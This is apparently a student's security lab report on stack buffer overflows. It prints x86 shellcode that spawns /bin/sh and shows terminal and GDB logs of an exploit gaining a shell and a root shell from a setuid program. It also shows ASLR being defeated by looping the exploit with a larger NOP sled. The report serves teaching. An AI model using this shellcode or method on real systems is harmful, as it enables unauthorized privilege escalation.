

Assignment-5

Pallavi Kumari Jha AM.EN.P2CSN16014

1.

In first program, the code is being copied to buffer.

```
strcpy(buffer, str);
```

Thus code is on stack. And to run the code we need to make stack executable so execstack is required.

Whereas in second program, the code is in data segment.

Declaration:

```
const char code[] =
```

```
"\x31\xc0"
```

```
"\x50"
```

```
"\x68""//sh"
```

```
"\x68""/bin"
```

```
"\x89\xe3"
```

```
"\x50"
```

```
"\x53"
```

```
"\x89\xe1"
```

```
"\x99"
```

```
"\xb0\x0b"
```

```
"\xcd\x80";
```

and the following line

```
int (*ret)() = (int(*)())code;
```

The data segment is read only, it is executable and thus flag execstack is not required.

2.

Shell in terminal

```
sh -c "while [ 1 ]; do ./stack; done;"
./stack
sumith@sol-1$ : ls
badfile pyExploit.py stack stack.c
sumith@sol-1$ : ./stack
0xffffcf47
Segmentation fault (core dumped)
sumith@sol-1$ : python pyExploit.py > badfile
sumith@sol-1$ : ./stack
0xffffcf47
$ ls
badfile pyExploit.py stack stack.c
$ _
```

Shell in GDB

```
Applications Mon Feb 27 8:53 PM
gdb stack
File Edit View Search Terminal Tabs Help
gdb stack
sumith@sol-ass-5$ : rm badfile
sumith@sol-ass-5$ : python pyExploit.py > badfile
sumith@sol-ass-5$ : gdb stack
GNU gdb (Ubuntu 7.7.1-0ubuntu5-14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack...done.
gdb-peda$ r
Starting program: /home/sumith/pallavi-netsec/sol-ass-5/stack
process 11691 is executing new program: /bin/dash
$ _
```

3.

Root shell in terminal

```
sumith@sol-2$ : ls
badfile pyExploit.py stack stack.c
sumith@sol-2$ : python pyExploit.py >badfile
sumith@sol-2$ : ./stack
0xffffcf47
# ls
badfile pyExploit.py stack stack.c
# id
uid=1000(sumith) gid=1000(sumith) euid=0(root) groups=0(root),4(adm),24(cdrom),
27(sudo),30(dip),46(plugdev),108(lpadmin),122(sambashare),1000(sumith)
# _
```

4.

Shell with Address Randomization on

```
0xffa5f3e7
Segmentation fault (core dumped)
0xffc47397
Segmentation fault (core dumped)
0xffc928b7
Segmentation fault (core dumped)
0xff8b1497
Segmentation fault (core dumped)
0xffee57f7
Segmentation fault (core dumped)
0xffdc5157
Segmentation fault (core dumped)
0xff8cca97
Segmentation fault (core dumped)
0xffcd6297
Segmentation fault (core dumped)
0xff873b17
$ ls
badfile egg egg.c envaddr envaddr.c exploit.py stack stack.c
$ _
```

ASLR (Address space layout randomization) purpose is to randomization the address of the items in memory. Buffer overflow done in question 1 and 2 depends on the prior knowledge of the memory location of the item (which was overflowed). If ASLR is used then the items are given new memory location every time the code gets executed making it difficult for the attacker to make valid memory references (referencing to malicious self contained codes).

Approach: Modified exploit code given in class lab hour a bit to get shell with ASLR enabled. Increases the number of NOPs to 5000 and changed the return address in python exploit file accordingly.